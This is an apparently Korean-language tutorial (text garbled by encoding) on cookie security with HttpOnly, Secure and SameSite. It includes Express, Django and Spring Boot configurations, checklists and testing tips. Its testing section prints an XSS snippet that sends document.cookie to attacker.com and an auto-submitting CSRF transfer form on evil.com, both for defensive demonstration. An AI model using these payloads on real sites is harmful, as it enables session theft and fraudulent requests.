โข ์ด์ปค๋จธ์ค (๊ฒฐ์ ํ์ด์ง ์ ์ธ)
โข ์ฌ์ฉ์ ๊ฒฝํ๊ณผ ๋ณด์์ ๊ท ํ์ด ํ์ํ ๊ฒฝ์ฐ
๐ None์ ์ฌ์ฉํด์ผ ํ๋ ๊ฒฝ์ฐ (์ต์ํ):
โข ์๋ฒ ๋๋ ์์ ฏ (YouTube ํ๋ ์ด์ด, ์์ ๋ฏธ๋์ด ๋ฒํผ ๋ฑ)
โข ์๋ํํฐ ์ธ์ฆ (OAuth, SSO)
โข ํฌ๋ก์ค ๋๋ฉ์ธ API
โข iframe ๋ด์์ ์๋ํ๋ ์๋น์ค
โข ๋ฐ๋์ Secure ํ๋๊ทธ์ ํจ๊ป ์ฌ์ฉ!
SameSite ๋์ ์ดํดํ๊ธฐ
๊ฐ ์ค์ ๊ฐ์ด ์ค์ ๋ก ์ด๋ป๊ฒ ๋์ํ๋์ง ์์ ๋ก ์์๋ณด์! ๐์ผ์ด์ค 1: evil.com์์ example.com์ผ๋ก POST ์์ฒญ
<form action="https://example.com/transfer" method="POST">
<input name="amount" value="1000000">
<input name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>
โข Strict: โ ์ฟ ํค ์ ์ก ์ ๋จ โ ์์ฒญ ์คํจโข Lax: โ ์ฟ ํค ์ ์ก ์ ๋จ โ ์์ฒญ ์คํจ
โข None: โ ์ฟ ํค ์ ์ก๋จ โ ๊ณต๊ฒฉ ์ฑ๊ณต! (์ํ)
์ผ์ด์ค 2: ์ด๋ฉ์ผ์ ๋งํฌ๋ฅผ ํด๋ฆญํด์ example.com ๋ฐฉ๋ฌธ (GET ์์ฒญ)
<a href="https://example.com/dashboard">๋์๋ณด๋ ๋ณด๊ธฐ</a>
โข Strict: โ ์ฟ ํค ์ ์ก ์ ๋จ โ ๋ก๊ทธ์ธ ์ ๋ ๊ฒ์ฒ๋ผ ๋ณด์โข Lax: โ ์ฟ ํค ์ ์ก๋จ โ ์ ์ ๋ก๊ทธ์ธ ์ํ
โข None: โ ์ฟ ํค ์ ์ก๋จ โ ์ ์ ๋ก๊ทธ์ธ ์ํ
์ผ์ด์ค 3: example.com ๋ด์์์ ์ผ๋ฐ์ ์ธ ์์ฒญ
โข Strict: โ ์ฟ ํค ์ ์ก๋จ
โข Lax: โ ์ฟ ํค ์ ์ก๋จ
โข None: โ ์ฟ ํค ์ ์ก๋จ
๊ฒฐ๋ก : Lax๊ฐ ๋ณด์๊ณผ ์ฌ์ฉ์ฑ์ ์ต์ ๊ท ํ์ ! ๐ฏ
๐ง ์ค์ ์ ์ฉ: ์ธ ๊ฐ์ง๋ฅผ ๋ชจ๋ ํจ๊ป ์ฌ์ฉํ๊ธฐ
์๋ฒฝํ ์ฟ ํค ๋ณด์ ์ค์
์ด์ HttpOnly, Secure, SameSite๋ฅผ ๋ชจ๋ ์กฐํฉํด์ ์ต๊ณ ์์ค์ ๋ณด์์ ๊ตฌํํด๋ณด์! ๐ก๏ธHttpOnly + Secure + SameSite=Lax
์ด ์กฐํฉ์ด ๋๋ถ๋ถ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ต์ ์ ๋ณด์๊ณผ ์ฌ์ฉ์ฑ์ ์ ๊ณตํด!
const express = require('express');
const session = require('express-session');
const helmet = require('helmet');
const app = express();
// Helmet์ผ๋ก ๊ธฐ๋ณธ ๋ณด์ ํค๋ ์ค์
app.use(helmet());
// ํ๊ฒฝ ๋ณ์๋ก ์ด์/๊ฐ๋ฐ ํ๊ฒฝ ๊ตฌ๋ถ
const isProduction = process.env.NODE_ENV === 'production';
// ์ธ์
์ค์ - ์๋ฒฝํ ๋ณด์
app.use(session({
secret: process.env.SESSION_SECRET || 'your-secret-key',
name: 'sessionId', // ๊ธฐ๋ณธ ์ด๋ฆ ๋ณ๊ฒฝ์ผ๋ก ์ถ๊ฐ ๋ณด์
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // XSS ๋ฐฉ์ด
secure: isProduction, // HTTPS์์๋ง ์ ์ก
sameSite: 'lax', // CSRF ๋ฐฉ์ด
maxAge: 1000 * 60 * 60 * 24, // 24์๊ฐ
domain: isProduction ? '.yourdomain.com' : undefined
},
proxy: isProduction // ํ๋ก์ ๋ค์ ์์ ๋
}));
// ๋ก๊ทธ์ธ ์๋ํฌ์ธํธ
app.post('/api/login', async (req, res) => {
try {
const { username, password } = req.body;
// ์ฌ์ฉ์ ์ธ์ฆ ๋ก์ง
const user = await authenticateUser(username, password);
if (!user) {
return res.status(401).json({ error: '์ธ์ฆ ์คํจ' });
}
// ์ธ์
์ ์ฌ์ฉ์ ์ ๋ณด ์ ์ฅ
req.session.userId = user.id;
req.session.username = user.username;
// ์ถ๊ฐ ๋ณด์ ์ฟ ํค ์ค์
res.cookie('user_pref', user.preferences, {
httpOnly: false, // ํด๋ผ์ด์ธํธ์์ ์ฝ์ด์ผ ํ๋ ๊ฒฝ์ฐ
secure: isProduction,
sameSite: 'lax',
maxAge: 1000 * 60 * 60 * 24 * 30 // 30์ผ
});
res.json({
success: true,
user: {
id: user.id,
username: user.username
}
});
} catch (error) {
console.error('Login error:', error);
res.status(500).json({ error: '์๋ฒ ์ค๋ฅ' });
}
});
// ๋ก๊ทธ์์ ์๋ํฌ์ธํธ
app.post('/api/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.status(500).json({ error: '๋ก๊ทธ์์ ์คํจ' });
}
// ์ฟ ํค ์ญ์
res.clearCookie('sessionId');
res.clearCookie('user_pref');
res.json({ success: true });
});
});
// ์ธ์ฆ ๋ฏธ๋ค์จ์ด
function requireAuth(req, res, next) {
if (!req.session.userId) {
return res.status(401).json({ error: '์ธ์ฆ ํ์' });
}
next();
}
// ๋ณดํธ๋ ๋ผ์ฐํธ
app.get('/api/profile', requireAuth, (req, res) => {
res.json({
userId: req.session.userId,
username: req.session.username
});
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
console.log(`Environment: ${isProduction ? 'Production' : 'Development'}`);
});๐ Django ์๋ฒฝํ ์ค์ ์์
# settings.py
import os
# ํ๊ฒฝ ๋ณ์
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SECRET_KEY = os.environ.get('SECRET_KEY', 'your-secret-key')
# ์ธ์
์ฟ ํค ์ค์
SESSION_COOKIE_NAME = 'sessionid' # ๊ธฐ๋ณธ๊ฐ์ด์ง๋ง ๋ช
์
SESSION_COOKIE_AGE = 86400 # 24์๊ฐ (์ด ๋จ์)
SESSION_COOKIE_HTTPONLY = True # XSS ๋ฐฉ์ด
SESSION_COOKIE_SECURE = not DEBUG # ์ด์์์๋ง HTTPS
SESSION_COOKIE_SAMESITE = 'Lax' # CSRF ๋ฐฉ์ด
# CSRF ์ฟ ํค ์ค์
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_COOKIE_HTTPONLY = False # CSRF ํ ํฐ์ JS์์ ์ฝ์ด์ผ ํจ
CSRF_COOKIE_SECURE = not DEBUG
CSRF_COOKIE_SAMESITE = 'Lax'
# ์ถ๊ฐ ๋ณด์ ์ค์
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'
# HTTPS ๊ด๋ จ ์ค์ (์ด์ ํ๊ฒฝ)
if not DEBUG:
SECURE_SSL_REDIRECT = True # HTTP๋ฅผ HTTPS๋ก ๋ฆฌ๋ค์ด๋ ํธ
SECURE_HSTS_SECONDS = 31536000 # HSTS 1๋
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
# views.py
from django.contrib.auth import authenticate, login, logout
from django.http import JsonResponse
from django.views.decorators.csrf import ensure_csrf_cookie
from django.views.decorators.http import require_http_methods
@require_http_methods(["POST"])
@ensure_csrf_cookie
def login_view(request):
username = request.POST.get('username')
password = request.POST.get('password')
user = authenticate(request, username=username, password=password)
if user is not None:
login(request, user)
# ์ถ๊ฐ ์ฟ ํค ์ค์
response = JsonResponse({
'success': True,
'user': {
'id': user.id,
'username': user.username
}
})
response.set_cookie(
'user_pref',
user.preferences,
max_age=2592000, # 30์ผ
secure=not DEBUG,
httponly=False,
samesite='Lax'
)
return response
else:
return JsonResponse({'error': '์ธ์ฆ ์คํจ'}, status=401)
@require_http_methods(["POST"])
def logout_view(request):
logout(request)
response = JsonResponse({'success': True})
response.delete_cookie('user_pref')
return response๐ Spring Boot ์๋ฒฝํ ์ค์ ์์
// application.yml
server:
servlet:
session:
cookie:
name: SESSIONID
http-only: true
secure: true
same-site: lax
max-age: 86400 # 24์๊ฐ
spring:
security:
cookie:
same-site: lax
// SecurityConfig.java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
)
.sessionManagement(session -> session
.sessionFixation().migrateSession()
.maximumSessions(1)
)
.headers(headers -> headers
.contentSecurityPolicy("default-src 'self'")
.and()
.frameOptions().deny()
.xssProtection()
);
return http.build();
}
}
// LoginController.java
import org.springframework.http.ResponseCookie;
import org.springframework.http.HttpHeaders;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/api")
public class LoginController {
@PostMapping("/login")
public ResponseEntity<LoginResponse> login(
@RequestBody LoginRequest request,
HttpServletResponse response) {
// ์ฌ์ฉ์ ์ธ์ฆ
User user = authService.authenticate(
request.getUsername(),
request.getPassword()
);
if (user == null) {
return ResponseEntity.status(401)
.body(new LoginResponse(false, "์ธ์ฆ ์คํจ"));
}
// ์ธ์
์์ฑ
HttpSession session = request.getSession(true);
session.setAttribute("userId", user.getId());
session.setAttribute("username", user.getUsername());
// ์ถ๊ฐ ์ฟ ํค ์ค์
ResponseCookie cookie = ResponseCookie
.from("user_pref", user.getPreferences())
.httpOnly(false)
.secure(true)
.sameSite("Lax")
.maxAge(2592000) // 30์ผ
.path("/")
.build();
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
return ResponseEntity.ok(
new LoginResponse(true, "๋ก๊ทธ์ธ ์ฑ๊ณต", user)
);
}
@PostMapping("/logout")
public ResponseEntity<LogoutResponse> logout(HttpSession session) {
session.invalidate();
return ResponseEntity.ok(new LogoutResponse(true, "๋ก๊ทธ์์ ์ฑ๊ณต"));
}
}
ํ๊ฒฝ๋ณ ์ค์ ์ ๋ต
๊ฐ๋ฐ, ์คํ ์ด์ง, ์ด์ ํ๊ฒฝ๋ง๋ค ๋ค๋ฅธ ์ค์ ์ด ํ์ํด. ๊ฐ ํ๊ฒฝ์ ๋ง๋ ์ ๋ต์ ์์๋ณด์! ๐ฏ{
httpOnly: true, // ํญ์ true
secure: false, // localhost๋ HTTP
sameSite: 'lax', // ํ
์คํธ ์ฉ์ด์ฑ
domain: undefined // localhost
}
ํน์ง: ๋๋ฒ๊น
ํธ์์ฑ ์ฐ์ , ํ์ง๋ง HttpOnly๋ ์ ์ง๐งช ์คํ ์ด์ง ํ๊ฒฝ (Staging)
{
httpOnly: true,
secure: true, // HTTPS ์ฌ์ฉ
sameSite: 'lax',
domain: '.staging.yourdomain.com'
}
ํน์ง: ์ด์ ํ๊ฒฝ๊ณผ ๋์ผํ ์ค์ ์ผ๋ก ํ
์คํธ๐ ์ด์ ํ๊ฒฝ (Production)
{
httpOnly: true,
secure: true,
sameSite: 'strict', // ๋๋ 'lax' (์๋น์ค ํน์ฑ์ ๋ฐ๋ผ)
domain: '.yourdomain.com',
maxAge: 86400
}
ํน์ง: ์ต๊ณ ์์ค์ ๋ณด์ ์ค์
์ฟ ํค ๋ณด์ ์ฒดํฌ๋ฆฌ์คํธ
๋ฐฐํฌ ์ ์ ๋ฐ๋์ ํ์ธํด์ผ ํ ์ฒดํฌ๋ฆฌ์คํธ์ผ! โ๊ธฐ๋ณธ ์ค์
โ๏ธ HttpOnly ํ๋๊ทธ๊ฐ ๋ชจ๋ ์ธ์ ์ฟ ํค์ ์ค์ ๋์ด ์๋๊ฐ?
โ๏ธ Secure ํ๋๊ทธ๊ฐ ์ด์ ํ๊ฒฝ์์ ํ์ฑํ๋์ด ์๋๊ฐ?
โ๏ธ SameSite ์์ฑ์ด ์ ์ ํ ์ค์ ๋์ด ์๋๊ฐ? (Lax ๋๋ Strict)
โ๏ธ ์ฟ ํค ๋ง๋ฃ ์๊ฐ์ด ์ ์ ํ๊ฐ?
HTTPS ์ค์
โ๏ธ ์ฌ์ดํธ ์ ์ฒด๊ฐ HTTPS๋ก ์๋น์ค๋๋๊ฐ?
โ๏ธ HTTP์์ HTTPS๋ก ์๋ ๋ฆฌ๋ค์ด๋ ํธ๋๋๊ฐ?
โ๏ธ HSTS ํค๋๊ฐ ์ค์ ๋์ด ์๋๊ฐ?
โ๏ธ Mixed Content ๊ฒฝ๊ณ ๊ฐ ์๋๊ฐ?
์ถ๊ฐ ๋ณด์
โ๏ธ ์ฟ ํค ์ด๋ฆ์ด ๊ธฐ๋ณธ๊ฐ์์ ๋ณ๊ฒฝ๋์๋๊ฐ?
โ๏ธ Domain ์์ฑ์ด ์ ์ ํ ์ค์ ๋์ด ์๋๊ฐ?
โ๏ธ Path ์์ฑ์ด ํ์ํ ๊ฒฝ์ฐ ์ ํ๋์ด ์๋๊ฐ?
โ๏ธ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์ฟ ํค์ ์ ์ฅ๋์ง ์๋๊ฐ?
ํ ์คํธ
โ๏ธ ๋ธ๋ผ์ฐ์ ๊ฐ๋ฐ์ ๋๊ตฌ์์ ์ฟ ํค ์์ฑ์ ํ์ธํ๋๊ฐ?
โ๏ธ XSS ๊ณต๊ฒฉ ์๋ฎฌ๋ ์ด์ ์ ํด๋ดค๋๊ฐ?
โ๏ธ CSRF ๊ณต๊ฒฉ ์๋ฎฌ๋ ์ด์ ์ ํด๋ดค๋๊ฐ?
โ๏ธ ๋ค์ํ ๋ธ๋ผ์ฐ์ ์์ ํ ์คํธํ๋๊ฐ?
๐ ํํ ์ค์์ ํด๊ฒฐ ๋ฐฉ๋ฒ
์ค์ 1: SameSite=None์ธ๋ฐ Secure๊ฐ ์๋ ๊ฒฝ์ฐ
res.cookie('tracking', 'value', {
sameSite: 'none' // Secure ์์!
});
์ค๋ฅ ๋ฉ์์ง:"Cookie has been rejected because it is in a cross-site context and its 'SameSite' is 'None'."
โ ์ฌ๋ฐ๋ฅธ ์ฝ๋:
res.cookie('tracking', 'value', {
sameSite: 'none',
secure: true // ํ์!
});
์ค๋ช
: Chrome 80 ์ดํ๋ก SameSite=None์ ์ฌ์ฉํ๋ ค๋ฉด ๋ฐ๋์ Secure ํ๋๊ทธ๊ฐ ํ์ํด!
์ค์ 2: ๋ก์ปฌ ๊ฐ๋ฐ์์ Secure ํ๋๊ทธ ์ฌ์ฉ
๋ก์ปฌ ๊ฐ๋ฐ ํ๊ฒฝ(http://localhost)์์ Secure ํ๋๊ทธ๋ฅผ ์ผ๋ฉด ์ฟ ํค๊ฐ ์๋ํ์ง ์์.
โ ํด๊ฒฐ ๋ฐฉ๋ฒ:
// ํ๊ฒฝ ๋ณ์๋ก ๋ถ๊ธฐ
const isProduction = process.env.NODE_ENV === 'production';
res.cookie('sessionId', 'value', {
httpOnly: true,
secure: isProduction, // ๊ฐ๋ฐ์์๋ false
sameSite: isProduction ? 'strict' : 'lax'
});
๋๋ ๋ก์ปฌ์์ HTTPS๋ฅผ ์ฌ์ฉ:# mkcert ์ค์น (macOS)
brew install mkcert
mkcert -install
mkcert localhost
# Node.js์์ HTTPS ์๋ฒ ์คํ
const https = require('https');
const fs = require('fs');
const options = {
key: fs.readFileSync('localhost-key.pem'),
cert: fs.readFileSync('localhost.pem')
};
https.createServer(options, app).listen(3000);
์ค์ 3: HttpOnly ์ฟ ํค๋ฅผ JavaScript๋ก ์ฝ์ผ๋ ค๊ณ ์๋
// ์๋ฒ์์ HttpOnly ์ฟ ํค ์ค์
res.cookie('sessionId', 'abc123', { httpOnly: true });
// ํด๋ผ์ด์ธํธ์์ ์ฝ์ผ๋ ค๊ณ ์๋
console.log(document.cookie); // sessionId๊ฐ ๋ณด์ด์ง ์์!
โ
์ฌ๋ฐ๋ฅธ ์ ๊ทผ:HttpOnly ์ฟ ํค๋ ์๋ฒ์์๋ง ์ ๊ทผ ๊ฐ๋ฅํด. ํด๋ผ์ด์ธํธ์์ ํ์ํ ์ ๋ณด๋ ๋ณ๋์ ์ฟ ํค๋ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ ๋ฌํด์ผ ํด:
// ์๋ฒ์์ ๋ ๊ฐ์ ์ฟ ํค ์ค์
res.cookie('sessionId', 'abc123', {
httpOnly: true, // ์๋ฒ ์ ์ฉ
secure: true,
sameSite: 'strict'
});
res.cookie('userId', user.id, {
httpOnly: false, // ํด๋ผ์ด์ธํธ์์ ์ฝ๊ธฐ ๊ฐ๋ฅ
secure: true,
sameSite: 'lax'
});
// ํด๋ผ์ด์ธํธ์์๋ userId๋ง ์ฝ์ ์ ์์
console.log(document.cookie); // userId=123
์ค์ 4: ์๋ธ๋๋ฉ์ธ ๊ฐ ์ฟ ํค ๊ณต์ ์คํจ
www.example.com๊ณผ api.example.com ๊ฐ์ ์ฟ ํค๊ฐ ๊ณต์ ๋์ง ์์.
โ ํด๊ฒฐ ๋ฐฉ๋ฒ:
// Domain ์์ฑ ์ค์
res.cookie('sessionId', 'value', {
httpOnly: true,
secure: true,
sameSite: 'lax',
domain: '.example.com' // ์์ ์ (.) ๋ถ์ด๊ธฐ!
});
// ์ด์ ๋ชจ๋ ์๋ธ๋๋ฉ์ธ์์ ์ ๊ทผ ๊ฐ๋ฅ:
// www.example.com
// api.example.com
// admin.example.com
์ฃผ์์ฌํญ:โข Domain์ ์ค์ ํ๋ฉด ๋ชจ๋ ์๋ธ๋๋ฉ์ธ์์ ์ ๊ทผ ๊ฐ๋ฅํ๋ฏ๋ก ๋ณด์์ ์ฃผ์!
โข ํ์ํ ๊ฒฝ์ฐ์๋ง ์ฌ์ฉํ๊ณ , ๊ฐ๋ฅํ๋ฉด ํน์ ๋๋ฉ์ธ์ผ๋ก ์ ํํ๋ ๊ฒ ์ข์.
์ค์ 5: ์ฟ ํค ํฌ๊ธฐ ์ ํ ์ด๊ณผ
์ฟ ํค์ ๋๋ฌด ๋ง์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๋ ค๊ณ ์๋
์ฟ ํค ํฌ๊ธฐ ์ ํ:
โข ๊ฐ๋ณ ์ฟ ํค: ์ต๋ 4KB
โข ๋๋ฉ์ธ๋น ์ด ์ฟ ํค: ์ฝ 20๊ฐ (๋ธ๋ผ์ฐ์ ๋ง๋ค ๋ค๋ฆ)
โข ์ด ํฌ๊ธฐ: ์ฝ 80KB
โ ํด๊ฒฐ ๋ฐฉ๋ฒ:
// ๋์ ์: ํฐ ๋ฐ์ดํฐ๋ฅผ ์ฟ ํค์ ์ ์ฅ
res.cookie('userData', JSON.stringify(largeUserObject)); // โ
// ์ข์ ์: ์ธ์
ID๋ง ์ ์ฅํ๊ณ ๋ฐ์ดํฐ๋ ์๋ฒ์
req.session.userId = user.id; // โ
req.session.userData = largeUserObject; // ์๋ฒ ์ธ์
์ ์ ์ฅ
// ํด๋ผ์ด์ธํธ์๋ ์ธ์
ID๋ง ์ ์ก๋จ
res.cookie('sessionId', req.sessionID, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
๐งช ๋ณด์ ํ ์คํธ ๋ฐฉ๋ฒ
๋ธ๋ผ์ฐ์ ๊ฐ๋ฐ์ ๋๊ตฌ๋ก ํ์ธํ๊ธฐ
๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ด๋ฉด์๋ ์ค์ํ ํ ์คํธ ๋ฐฉ๋ฒ์ด์ผ! ๐1๋จ๊ณ: F12 ํค๋ฅผ ๋๋ฌ ๊ฐ๋ฐ์ ๋๊ตฌ ์ด๊ธฐ
2๋จ๊ณ: Application ํญ ํด๋ฆญ
3๋จ๊ณ: ์ผ์ชฝ ๋ฉ๋ด์์ Cookies ์ ํ
4๋จ๊ณ: ๋๋ฉ์ธ ์ ํ
ํ์ธํ ํญ๋ชฉ:
โข Name: ์ฟ ํค ์ด๋ฆ
โข Value: ์ฟ ํค ๊ฐ (๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์๋์ง ํ์ธ!)
โข Domain: ๋๋ฉ์ธ ์ค์
โข Path: ๊ฒฝ๋ก ์ค์
โข Expires / Max-Age: ๋ง๋ฃ ์๊ฐ
โข Size: ์ฟ ํค ํฌ๊ธฐ
โข HttpOnly: โ ์ฒดํฌ๋์ด ์์ด์ผ ํจ
โข Secure: โ ์ด์ ํ๊ฒฝ์์ ์ฒดํฌ๋์ด ์์ด์ผ ํจ
โข SameSite: Strict ๋๋ Lax๋ก ์ค์ ๋์ด ์์ด์ผ ํจ
โข Priority: ์ฐ์ ์์ (๋ณดํต Medium)
XSS ๊ณต๊ฒฉ ์๋ฎฌ๋ ์ด์
HttpOnly๊ฐ ์ ๋๋ก ์๋ํ๋์ง ํ ์คํธํด๋ณด์! ๐งชํ ์คํธ 1: Console์์ ์ฟ ํค ์ฝ๊ธฐ ์๋
// ๊ฐ๋ฐ์ ๋๊ตฌ Console์์ ์คํ
console.log(document.cookie);
// HttpOnly ์ฟ ํค๋ ์ถ๋ ฅ๋์ง ์์์ผ ํจ
// ์ถ๋ ฅ ์: "user_pref=dark_mode; language=ko"
// sessionId๋ ๋ณด์ด์ง ์์!ํ ์คํธ 2: ์ ์ฑ ์คํฌ๋ฆฝํธ ์ฃผ์ ์๋ฎฌ๋ ์ด์
// XSS ์ทจ์ฝ์ ์ด ์๋ค๊ณ ๊ฐ์ ํ๊ณ ํ
์คํธ
<script>
// ์ฟ ํค ํ์ทจ ์๋
const cookies = document.cookie;
// ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก ์๋
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies })
});
</script>
// HttpOnly ์ฟ ํค๋ ํ์ทจ๋์ง ์์!ํ ์คํธ 3: JavaScript๋ก ์ฟ ํค ์ค์ ์๋
// HttpOnly ์ฟ ํค๋ฅผ ๋ฎ์ด์ฐ๋ ค๋ ์๋
document.cookie = "sessionId=hacked; path=/";
// ์ค์ HttpOnly ์ฟ ํค๋ ๋ณ๊ฒฝ๋์ง ์์
// ์๋ก์ด non-HttpOnly ์ฟ ํค๊ฐ ์์ฑ๋ ๋ฟ
CSRF ๊ณต๊ฒฉ ์๋ฎฌ๋ ์ด์
SameSite๊ฐ ์ ๋๋ก ์๋ํ๋์ง ํ ์คํธํด๋ณด์! ๐ฏ1. ํ ์คํธ ํ๊ฒฝ ๊ตฌ์ฑ
โข ๋ฉ์ธ ์ฌ์ดํธ: https://yoursite.com
โข ๊ณต๊ฒฉ์ ์ฌ์ดํธ: https://evil.com
2. evil.com์ ์ ์ฑ ํ์ด์ง ์์ฑ
<!-- evil.com/attack.html -->
<html>
<body>
<h1>๋ฌด๋ฃ ๊ฒฝํ ๋น์ฒจ!</h1>
<!-- ์จ๊ฒจ์ง CSRF ๊ณต๊ฒฉ ํผ -->
<form id="attack" action="https://yoursite.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="attacker">
</form>
<script>
// ํ์ด์ง ๋ก๋ ์ ์๋ ์ ์ถ
document.getElementById('attack').submit();
</script>
</body>
</html>3. ํ ์คํธ ์คํ
โข yoursite.com์ ๋ก๊ทธ์ธ
โข ์ ํญ์์ evil.com/attack.html ๋ฐฉ๋ฌธ
โข ๋คํธ์ํฌ ํญ์์ ์์ฒญ ํ์ธ
4. ์์ ๊ฒฐ๊ณผ
โข SameSite=Strict: ์ฟ ํค ์ ์ก ์ ๋จ โ ์์ฒญ ์คํจ โ
โข SameSite=Lax: POST ์์ฒญ์ด๋ฏ๋ก ์ฟ ํค ์ ์ก ์ ๋จ โ ์์ฒญ ์คํจ โ
โข SameSite=None: ์ฟ ํค ์ ์ก๋จ โ ๊ณต๊ฒฉ ์ฑ๊ณต โ
์๋ํ๋ ๋ณด์ ํ ์คํธ ๋๊ตฌ
์๋ ํ ์คํธ๋ ์ค์ํ์ง๋ง, ์๋ํ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ ํจ์จ์ ์ด์ผ! ๐ค1. OWASP ZAP (Zed Attack Proxy)
โข ๋ฌด๋ฃ ์คํ์์ค ๋ณด์ ํ ์คํธ ๋๊ตฌ
โข ์ฟ ํค ๋ณด์ ์ค์ ์๋ ๊ฒ์ฌ
โข XSS, CSRF ์ทจ์ฝ์ ์ค์บ
# Docker๋ก ์คํ
docker run -u zap -p 8080:8080 owasp/zap2docker-stable zap.sh \
-daemon -host 0.0.0.0 -port 8080 \
-config api.disablekey=true2. Burp Suite
โข ์ ๋ฌธ๊ฐ์ฉ ์น ๋ณด์ ํ ์คํธ ๋๊ตฌ
โข ์ฟ ํค ์กฐ์ ๋ฐ ๋ถ์ ๊ธฐ๋ฅ
โข ์๋ํ๋ ์ค์บ ๊ธฐ๋ฅ
3. Mozilla Observatory
โข ์น์ฌ์ดํธ: https://observatory.mozilla.org
โข ์จ๋ผ์ธ์์ ์ฆ์ ํ ์คํธ ๊ฐ๋ฅ
โข ๋ณด์ ํค๋ ๋ฐ ์ฟ ํค ์ค์ ๊ฒ์ฌ
โข ์ ์์ ๊ฐ์ ๋ฐฉ์ ์ ๊ณต
4. Security Headers
โข ์น์ฌ์ดํธ: https://securityheaders.com
โข ๋ณด์ ํค๋ ๊ฒ์ฌ
โข ์ฟ ํค ์ค์ ๋ถ์
โข ๋ฑ๊ธ ํ๊ฐ (A+ ~ F)
์นจํฌ ํ ์คํธ ์ฒดํฌ๋ฆฌ์คํธ
์ ๋ฌธ์ ์ธ ๋ณด์ ๊ฐ์ฌ๋ฅผ ์ํ ์ฒดํฌ๋ฆฌ์คํธ์ผ! ๐HttpOnly ํ ์คํธ
โ๏ธ document.cookie๋ก ์ธ์ ์ฟ ํค ์ฝ๊ธฐ ์๋
โ๏ธ XSS ํ์ด๋ก๋๋ก ์ฟ ํค ํ์ทจ ์๋
โ๏ธ JavaScript๋ก HttpOnly ์ฟ ํค ์์ ์๋
โ๏ธ ๋ธ๋ผ์ฐ์ ํ์ฅ ํ๋ก๊ทธ๋จ์ผ๋ก ์ ๊ทผ ์๋
Secure ํ ์คํธ
โ๏ธ HTTP๋ก ์ ์ ์ ์ฟ ํค ์ ์ก ์ฌ๋ถ ํ์ธ
โ๏ธ ์ค๊ฐ์ ๊ณต๊ฒฉ ์๋ฎฌ๋ ์ด์ (Wireshark ๋ฑ)
โ๏ธ Mixed Content ํ์ธ
โ๏ธ HTTPS ๋ฆฌ๋ค์ด๋ ํธ ๋์ ํ์ธ
SameSite ํ ์คํธ
โ๏ธ ํฌ๋ก์ค ์ฌ์ดํธ POST ์์ฒญ ํ ์คํธ
โ๏ธ ํฌ๋ก์ค ์ฌ์ดํธ GET ์์ฒญ ํ ์คํธ
โ๏ธ iframe ๋ด ์์ฒญ ํ ์คํธ
โ๏ธ CSRF ํ ํฐ ์์ด ์์ฒญ ํ ์คํธ
์ถ๊ฐ ํ ์คํธ
โ๏ธ ์ฟ ํค ๋ง๋ฃ ์๊ฐ ๊ฒ์ฆ
โ๏ธ ์ธ์ ๊ณ ์ ๊ณต๊ฒฉ ํ ์คํธ
โ๏ธ ์ฟ ํค ์ค๋ฒํ๋ก์ฐ ํ ์คํธ
โ๏ธ ๋๋ฉ์ธ/๊ฒฝ๋ก ์ค์ ๊ฒ์ฆ
๐ ์ค์ ์๋น์ค ์ฌ๋ก ๋ถ์
๋ํ ์๋น์ค๋ค์ ์ฟ ํค ๋ณด์ ์ ๋ต
์ค์ ๋ก ์ ๋ช ํ ์๋น์ค๋ค์ ์ด๋ป๊ฒ ์ฟ ํค ๋ณด์์ ๊ตฌํํ๊ณ ์์๊น? ๋ถ์ํด๋ดค์ด! ๐์ฟ ํค ์ค์ :
โข HttpOnly: โ (์ธ์ ์ฟ ํค)
โข Secure: โ
โข SameSite: Lax (๋๋ถ๋ถ), None (์ผ๋ถ ์๋น์ค)
โข ์ถ๊ฐ: __Secure- ์ ๋์ฌ ์ฌ์ฉ
ํน์ง:
โข ๋ค์ํ ์๋น์ค ๊ฐ SSO๋ฅผ ์ํด ๋ณต์กํ ์ฟ ํค ์ ๋ต ์ฌ์ฉ
โข ์๋ธ๋๋ฉ์ธ๋ณ๋ก ๋ค๋ฅธ ์ฟ ํค ์ ์ฑ ์ ์ฉ
โข ์ ๊ธฐ์ ์ธ ์ฟ ํค ๋กํ ์ด์
โข ์์ฌ์ค๋ฌ์ด ํ๋ ๊ฐ์ง ์ ์ฆ์ ์ธ์ ๋ฌดํจํ
์ฟ ํค ์ค์ :
โข HttpOnly: โ
โข Secure: โ
โข SameSite: None (ํฌ๋ก์ค ๋๋ฉ์ธ ๊ธฐ๋ฅ ๋๋ฌธ)
โข ์ถ๊ฐ: ์์ฒด ์ํธํ ์ ์ฉ
ํน์ง:
โข ์์ ํ๋ฌ๊ทธ์ธ์ ์ํด SameSite=None ์ฌ์ฉ
